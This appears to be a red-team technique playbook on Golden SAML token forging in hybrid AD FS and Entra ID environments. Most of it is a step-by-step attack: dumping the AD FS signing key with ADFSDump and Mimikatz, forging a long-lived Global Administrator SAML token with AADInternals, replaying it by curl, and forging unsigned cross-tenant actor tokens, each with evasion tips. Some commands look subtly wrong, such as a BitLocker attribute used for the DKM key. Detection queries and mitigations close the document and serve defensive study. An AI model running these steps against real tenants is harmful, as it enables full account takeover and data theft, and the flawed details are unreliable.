MCADDF

[CA-FORGE-001]: Golden SAML - AD FS Token Forging

1. Metadata Header

Attribute Details
Technique ID CA-FORGE-001
MITRE ATT&CK v18.1 T1606.002: Forge Web Credentials: SAML Tokens
Tactic Credential Access
Platforms Hybrid M365 (AD FS + Entra ID)
Severity Critical
CVE CVE-2021-26906 (Predecessor); Related: CVE-2025-55241 (Actor Token Forgery)
Technique Status ACTIVE
Last Verified 2025-01-08
Affected Versions AD FS 2019, AD FS 4.0 (Windows Server 2016/2019/2022) when Entra Connect hybrid configured
Patched In Ongoing via certificate rotation policies, Hardware Security Module (HSM) enforcement, audit controls
Author SERVTEPArtur Pchelnikau

Note: Golden SAML is exclusive to hybrid environments with AD FS. Pure cloud (Entra ID only) environments are NOT affected. Atomic Red Team tests not applicable (requires AD FS lab setup).


2. Executive Summary

Concept: Golden SAML is a privilege escalation attack targeting federated identity environments. When an organization uses Active Directory Federation Services (AD FS) to federate with Microsoft Entra ID, AD FS cryptographically signs SAML tokens using a private key stored in a Distributed Key Management (DKM) store. If an attacker obtains the AD FS token-signing certificate and its private key, they can forge SAML tokens claiming any identity (including Global Administrators) without knowing passwords or having access to MFA devices. These forged tokens are accepted by Entra ID as legitimate, granting the attacker unrestricted access to M365 services.

Attack Surface: The attack surface includes the AD FS server itself (requires Domain Admin access to extract certificates), the Active Directory DKM container (holds encrypted token-signing keys), and the trust relationship between AD FS and Entra ID. Compromise requires either:

  1. Domain Admin access to AD FS server (via prior lateral movement)
  2. Physical access to AD FS server to extract credentials
  3. Exploitation of AD FS service account (if running with extractable credentials)

Business Impact: Full tenant compromise with unrestricted administrative access. An attacker who forges a Global Administrator SAML token can create backdoor accounts, disable MFA, exfiltrate all data, modify security policies, and establish persistent access across M365. Unlike other attacks (credential theft, MFA bypass), Golden SAML leaves minimal audit traces, making detection exceptionally difficult and investigation time-intensive.

Technical Context: Golden SAML is typically the culmination of a sophisticated attack chain. The attacker first compromises on-premises Active Directory (via phishing, credential theft, or supply-chain compromise), escalates to Domain Admin, then pivots to the AD FS server to extract cryptographic material. The attack’s sophistication explains why it was weaponized in the SolarWinds compromise and why organizations with hybrid setups remain at elevated risk.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 4.1 (Certificate Management), 6.1 (Privileged Access) AD FS certificates not secured in HSM; Domain Admin unrestricted access to private keys.
DISA STIG IA-5(2)(d) Public key infrastructure (PKI) must protect private keys; AD FS keys stored in software-based DKM.
CISA SCuBA MS.FEDRAMP.04 Hybrid identity: Require HSM-backed certificate storage for federation.
NIST 800-53 AU-7 (Audit Reduction), SC-12 (Cryptographic Key Establishment) AD FS audit logs insufficient to detect forged tokens; keys not in tamper-proof storage.
GDPR Art. 32 (Security of Processing) Failure to implement technical measures (HSM, key protection) for identity layer.
NIS2 Art. 21 (Multi-factor Authentication) Hybrid infrastructure must protect federated authentication channels; compromise of AD FS violates principle.
ISO 27001 A.10.1 (Cryptographic Controls), A.9.2.2 (Access Rights Management) Private keys not in secure enclave; no revocation mechanism for forged tokens.
SOC 2 Type II 7.2 (System Monitoring) Failure to detect unauthorized token generation/use during audit period.

3. Technical Prerequisites

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. Environmental Reconnaissance

Step 1: Identify AD FS Configuration and Federation Trust

Objective: Determine if organization uses AD FS + Entra ID hybrid setup (required for Golden SAML).

Command (PowerShell - Check AD FS Trust):

# From any domain-joined computer
Get-AdfsProperties | Select-Object HostName, FederationServiceName, Identifier

# Output:
# HostName: adfs.company.com
# FederationServiceName: company.com
# Identifier: https://adfs.company.com/adfs/services/trust

Command (Entra ID - Verify Federation):

Connect-MgGraph
Get-MgOrganization | Select-Object ComplianceExposure, IsMultiTenantOrg, DirSyncEnabled

# If hybrid: DirSyncEnabled = true, and federation is active

What to Look For:

OpSec & Evasion: Queries generate no logs if performed from compromised domain-joined machine.


Step 2: Locate AD FS Token-Signing Certificate

Objective: Identify the AD FS server and certificate storage location.

Command (PowerShell - List AD FS Certificates):

# Requires Domain Admin or AD FS admin access
$adfsServer = "ADFS01.company.com"

Invoke-Command -ComputerName $adfsServer -ScriptBlock {
    Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, NotBefore, NotAfter
}

# Output:
# Thumbprint: ABC123...
# NotBefore: 2024-01-01
# NotAfter: 2026-01-01

What to Look For:

OpSec & Evasion: Certificate enumeration generates access logs on AD FS server (detectable).


5. Detailed Execution Methods

METHOD 1: Extract Token-Signing Certificate via ADFSDump (Domain Admin)

Objective: Extract AD FS token-signing certificate and private key using ADFSDump.

Prerequisites: Domain Admin privileges or AD FS admin access.

Step 1: Prepare AD FS Server Access

Command (Gain AD FS Admin Context):

# If already Domain Admin, directly access AD FS

# If not DA but AD FS admin:
$credential = Get-Credential  # Enter AD FS admin credentials
Invoke-Command -ComputerName ADFS01.company.com -Credential $credential -ScriptBlock {
    # Will execute subsequent steps in AD FS admin context
}

Step 2: Export Token-Signing Certificate via ADFSDump

Command (ADFSDump - Extract Certificate):

# On AD FS server or via remote PowerShell session
# Requires Administrator privileges on AD FS server

wget https://github.com/mandiant/ADFSDump/releases/download/v1.0/ADFSDump.exe
.\ADFSDump.exe

# Output will display:
# [*] Token Signing Certificate:
#     Thumbprint: ABC123...
#     Subject: CN=ADFS Signing, O=Company, C=US
#     Public Key: ...
#     Private Key (ENCRYPTED): ...
#
# [*] DKM Key found in: CN=ADFS,CN=Microsoft,CN=Program Files,...

Expected Output:

[*] Connecting to AD FS database
[*] Reading configuration from AD FS
[*] Extracting token-signing certificate
[+] Certificate extracted successfully

Thumbprint: ABC123DEF456...
Subject: CN=ADFS Signing
Issuer: CN=ADFS Signing
Public Key Algorithm: RSA
Public Key Size: 2048
Private Key: ENCRYPTED (DPAPI)

[+] DKM Key location: AD://CN=ADFS,CN=Microsoft,...

What This Means:

OpSec & Evasion:


Step 3: Extract DKM Key from Active Directory

Objective: Retrieve the Distributed Key Manager (DKM) key stored in AD, allowing private key decryption.

Command (LDAP Query - Extract DKM Key):

# Requires read access to AD (standard domain user can perform this)
# But Domain Admin context provides guaranteed access

$adfsContainer = Get-ADObject -Filter "ObjectClass -eq 'msFVE-RecoveryInformation'" -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Files,CN=Common Files,CN=System,$((Get-ADDomain).DistinguishedName)"

# Alternative: Use LDAP directly
$ldapConnection = New-Object System.DirectoryServices.DirectoryEntry "LDAP://CN=ADFS,CN=Microsoft,CN=Program Files,CN=Common Files,CN=System,..."
$dkmObject = $ldapConnection.Children | Where-Object { $_.Name -like "*DKM*" }
$dkmKey = $dkmObject.Properties["msFVE-RecoveryInformation"][0]

Write-Host "DKM Key: $dkmKey"

Expected Output:

[+] DKM Key found: F3E2D1C0B9A8...
[+] Key is base64-encoded and DPAPI-encrypted

What This Means:

OpSec & Evasion:


Step 4: Decrypt Private Key Using DKM Key (Mimikatz)

Command (Mimikatz - DPAPI Decryption):

# On AD FS server with local admin access
mimikatz.exe

mimikatz # dpapi::capi

mimikatz # dpapi::masterkey /in:C:\ProgramData\Microsoft\Windows\Crypto\RSA\S-1-5-... /pvk:...

# Output will show decrypted private key

Expected Output:

[+] Private Key Decrypted:
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC...
(PEM-formatted RSA private key)

What This Means:


METHOD 2: Forge SAML Token Using AADInternals

Objective: Create a forged SAML token claiming to be a Global Administrator.

Prerequisites: Extracted token-signing certificate private key from Step 1.

Step 1: Prepare Forged Token Parameters

Command (PowerShell - Gather Required Attributes):

# Import AADInternals
Import-Module AADInternals

# Get target user details
$targetUser = "admin@company.com"
$tenantId = (Get-MgOrganization).Id
$targetUserUPN = "admin@company.com"

# Get target user's ObjectGUID (ImmutableID)
# This requires AD access
$adUser = Get-ADUser -Filter "UserPrincipalName -eq '$targetUserUPN'" -Properties ObjectGUID
$immutableId = [Convert]::ToBase64String($adUser.ObjectGUID.ToByteArray())

Write-Host "Target: $targetUser"
Write-Host "ImmutableID: $immutableId"
Write-Host "TenantID: $tenantId"

Expected Output:

Target: admin@company.com
ImmutableID: AbCdEfGhIjKlMnOpQrStUvWxYz==
TenantID: 12345678-1234-1234-1234-123456789012

What to Look For:

OpSec & Evasion: AD query may be logged; perform during business hours.


Step 2: Create Forged SAML Token via AADInternals

Command (PowerShell - Forge SAML Token):

# Load extracted certificate and private key
$certPath = "C:\extracted\token-signing-cert.pfx"
$certPassword = ConvertTo-SecureString "password" -AsPlainText -Force
$cert = Get-PfxCertificate -FilePath $certPath

# Use AADInternals to forge SAML token
$samlToken = New-AADIntSAMLToken `
    -IssuerUrl "https://adfs.company.com/adfs/services/trust" `
    -Audience "https://login.microsoftonline.com/12345678-1234.../saml2" `
    -UserPrincipalName "admin@company.com" `
    -ImmutableId "AbCdEfGhIjKlMnOpQrStUvWxYz==" `
    -Certificate $cert `
    -TenantId "12345678-1234-1234-1234-123456789012" `
    -NotOnOrAfter (Get-Date).AddYears(10)  # Validity: 10 years for persistence

Write-Host "Forged SAML Token:`n$samlToken"

Expected Output:

<saml:Assertion Version="2.0" ID="..." IssueInstant="2025-01-08T12:00:00Z">
  <saml:Issuer>https://adfs.company.com/adfs/services/trust</saml:Issuer>
  <saml:Subject>
    <saml:NameID>admin@company.com</saml:NameID>
  </saml:Subject>
  <saml:Conditions NotBefore="..." NotOnOrAfter="2035-01-08...">
    <saml:AudienceRestriction>
      <saml:Audience>https://login.microsoftonline.com/12345678.../saml2</saml:Audience>
    </saml:AudienceRestriction>
  </saml:Conditions>
  <saml:AuthnStatement>...</saml:AuthnStatement>
  <ds:Signature>
    <ds:SignatureValue>ABC123DEF456...=</ds:SignatureValue>  <!-- Signed with stolen private key -->
  </ds:Signature>
</saml:Assertion>

What This Means:

Token Breakdown:

OpSec & Evasion:


Step 3: Replay Forged SAML Token to Authenticate to Entra ID

Objective: Submit forged SAML token to Entra ID and obtain access token.

Command (cURL - Submit SAML Token to Entra ID):

# Prepare SAML token for POST request
SAML_TOKEN="PD94bWwgdmVyc2lvbj0iMS4wIj8+PFNBTUxBc3NlcnRpb24..."  # Base64-encoded forged token

# Submit to Entra ID SAML endpoint
curl -i -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "SAMLResponse=$SAML_TOKEN&RelayState=AADB2" \
  "https://login.microsoftonline.com/12345678-1234-1234-1234-123456789012/saml2"

Expected Response:

HTTP/1.1 302 Found
Location: https://myapps.microsoft.com/?SAMLAuthenticationTokenReceived=true

Set-Cookie: ESTSAUTHPERSISTENT=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ...
Set-Cookie: ESTSAUTH=...

What This Means:

OpSec & Evasion:


Step 4: Access M365 Services with Forged Admin Identity

Command (PowerShell - Connect as Impersonated Admin):

# Set session cookies from SAML authentication
$headers = @{
    "Authorization" = "Bearer $accessToken"  # Access token from SAML response
    "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..."
}

# Access Microsoft Graph as Global Admin
$adminInfo = Invoke-RestMethod `
    -Uri "https://graph.microsoft.com/v1.0/me/memberOf" `
    -Headers $headers

Write-Host "Groups: $($adminInfo.value | Select-Object displayName)"

# Output will show Global Administrator role is present

Expected Output:

Groups:
  - Global Administrator
  - Company Administrator
  - User Administrators
  - Privileged Role Administrator

What This Means:


METHOD 3: Use Actor Token Forgery (CVE-2025-55241 - Cross-Tenant Attack)

Objective: Exploit CVE-2025-55241 to forge actor tokens and impersonate users across tenant boundaries.

Note: This attack differs from Golden SAML; includes cross-tenant compromise potential.

Prerequisites: Basic Entra ID access in attacker’s own tenant (legitimate account).

Step 1: Craft Actor Token Payload

Command (Python - Create Actor Token):

import jwt
import json
from datetime import datetime, timedelta

# Actor token payload (JWT)
payload = {
    "iss": "https://sts.windows.net/attacker-tenant-id/",
    "aud": "https://graph.microsoft.com",
    "sub": "attacker@attacker-tenant.com",
    "oid": "attacker-object-id",
    "tid": "attacker-tenant-id",
    "iat": int(datetime.utcnow().timestamp()),
    "exp": int((datetime.utcnow() + timedelta(hours=1)).timestamp()),
    "scp": ["Directory.Read.All", "User.Read.All"],
    "appid": "00000003-0000-0000-c000-000000000000"  # Graph App ID
}

# Sign with attacker's token (if available) or unsigned (exploit)
# CVE-2025-55241: Azure AD Graph API accepts unsigned tokens
token_unsigned = jwt.encode(payload, "", algorithm="none")

print(f"Actor Token (Unsigned): {token_unsigned}")

Expected Output:

Actor Token (Unsigned): eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9hdHRhY2tlci10ZW5hbnQtaWQvIi...

What This Means:


Step 2: Replay Actor Token to Access Other Tenant

Command (cURL - Cross-Tenant Impersonation):

# Change tenant ID in API call to victim tenant
ATTACKER_TOKEN="eyJhbGciOiJub25lIi..."
VICTIM_TENANT_ID="victim-tenant-id"

# Request access to victim tenant resource
curl -i -X GET \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "X-Tenant-Id: $VICTIM_TENANT_ID" \
  "https://graph.microsoft.com/v1.0/tenants/$VICTIM_TENANT_ID/users"

Expected Response:

HTTP/1.1 200 OK
{
  "value": [
    {
      "id": "user-id",
      "displayName": "Global Administrator",
      "userPrincipalName": "admin@victim-company.com"
    }
  ]
}

What This Means:

OpSec & Evasion:


6. Tools & Commands Reference

AADInternals

Version: Latest (4.9+) Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+

Installation:

Install-Module AADInternals
Import-Module AADInternals

Usage:

# Extract AD FS configuration
Get-AADIntADFSSyncCredentials

# Forge SAML token
$token = New-AADIntSAMLToken -Certificate $cert ...

# Get user details for impersonation
Get-AADIntUser -Identity "admin@company.com"

ADFSDump

Version: 1.0+ Supported Platforms: Windows (requires ADFS server access)

Installation:

wget https://github.com/mandiant/ADFSDump/releases/download/v1.0/ADFSDump.exe
chmod +x ADFSDump.exe

7. Microsoft Sentinel Detection

Query 1: Forged SAML Token Detection - Missing AD FS Audit Trail

KQL Query:

SigninLogs
| where FederatedCredentialUsed == true
| where ResultType == 0  // Successful sign-in
| join kind=leftanti (
    Event
    | where Source == "AD FS"
    | where EventID == 1200 or EventID == 1202  // AD FS authentication events
    | project CorrelationId_ADFS = CorrelationId, TimeGenerated
) on $left.CorrelationId == $right.CorrelationId_ADFS
| where TimeGenerated > ago(24h)
| project UserPrincipalName, CorrelationId, IPAddress, LocationDetails.countryOrRegion

What This Detects:


Query 2: Suspicious Certificate Export from AD FS

KQL Query:

SecurityEvent
| where EventID == 33205  // AD FS certificate export attempt
| project TimeGenerated, Computer, Account, EventData
| where EventData contains "Token-Signing"

What This Detects:


8. Windows Event Log Monitoring

Event ID: 33205 (AD FS Certificate Export Attempt)

Event ID: 4662 (Active Directory DS Access - DKM Key Query)


9. Detection & Incident Response

Indicators of Compromise

AD FS Server Logs:

Entra ID Logs:

Network:


Forensic Artifacts

AD FS Server:

Domain Controller:


Immediate Containment

Command (Rotate Token-Signing Certificate - CRITICAL):

# On AD FS server - Rotate certificate TWICE to invalidate all forged tokens
# Rotation 1
Update-AdfsCertificate -CertificateType Token-Signing -AutoCertificateRollover $true

# Wait 5 minutes
Start-Sleep -Seconds 300

# Rotation 2 (invalidates first rotation)
Update-AdfsCertificate -CertificateType Token-Signing -AutoCertificateRollover $true

# Verify new certificate active
Get-AdfsCertificate -CertificateType Token-Signing

Expected Output:

Thumbprint: ABC123... (NEW)
NotBefore: 2025-01-08
NotAfter: 2027-01-08
Status: Active

What This Accomplishes:


10. Defensive Mitigations

Priority 1: CRITICAL


Priority 2: HIGH


Priority 3: MEDIUM

Validation Command:

# Verify HSM in use
$cert = Get-AdfsCertificate -CertificateType Token-Signing
if ($cert.PrivateKeyProvider -like "*HSM*") {
    Write-Host "[+] Token-signing certificate protected by HSM"
} else {
    Write-Host "[-] WARNING: Certificate not in HSM"
}

# Verify certificate rotation
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object NotBefore, NotAfter | ForEach-Object {
    $age = (Get-Date) - $_.NotBefore
    if ($age.Days -gt 180) {
        Write-Host "[-] Certificate over 6 months old; rotation recommended"
    } else {
        Write-Host "[+] Certificate age acceptable: $($age.Days) days"
    }
}

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Spear Phishing Attacker targets domain user or admin.
2 Lateral Movement [LM-PRIV-001] Credential Theft / Kerberoasting Attacker obtains domain credentials.
3 Privilege Escalation [PE-ADMIN-001] Domain Admin Compromise Attacker escalates to Domain Admin.
4 Credential Access - This Step [CA-FORGE-001] Golden SAML Attacker extracts token-signing certificate.
5 Lateral Movement to Cloud [LM-AUTH-008] Entra ID Global Admin Impersonation Attacker forges SAML token as GA.
6 Persistence Create backdoor admin account, disable MFA Attacker ensures long-term access.
7 Impact Full M365 data exfiltration Attacker steals sensitive data.

12. Real-World Examples

Example: SolarWinds Supply Chain Attack (2020)


13. Summary

Golden SAML represents the most dangerous post-compromise attack in hybrid M365 environments. Once an attacker obtains the AD FS token-signing certificate, they become the “owner” of the federation trust, with indefinite access to the cloud tenant until the certificate is rotated. The attack is exceptionally difficult to detect because forged SAML tokens appear as legitimate Entra ID authentications, bypassing all security controls (MFA, Conditional Access, device compliance).

Defense requires:

  1. Hardware-backed certificate storage (HSM): Prevents private key export.
  2. Automated certificate rotation: Regular certificate updates limit attacker window.
  3. Restricted Domain Admin access: JIT/PAW limits exposure of administrator credentials.
  4. Advanced auditing and monitoring: Detect certificate export, unusual admin access, and forged sign-ins.
  5. Conditional Access at cloud layer: Blocks sign-ins from anomalous locations, even with valid tokens.

Organizations with hybrid setups should prioritize HSM deployment and certificate rotation as the top priority for preventing Golden SAML attacks.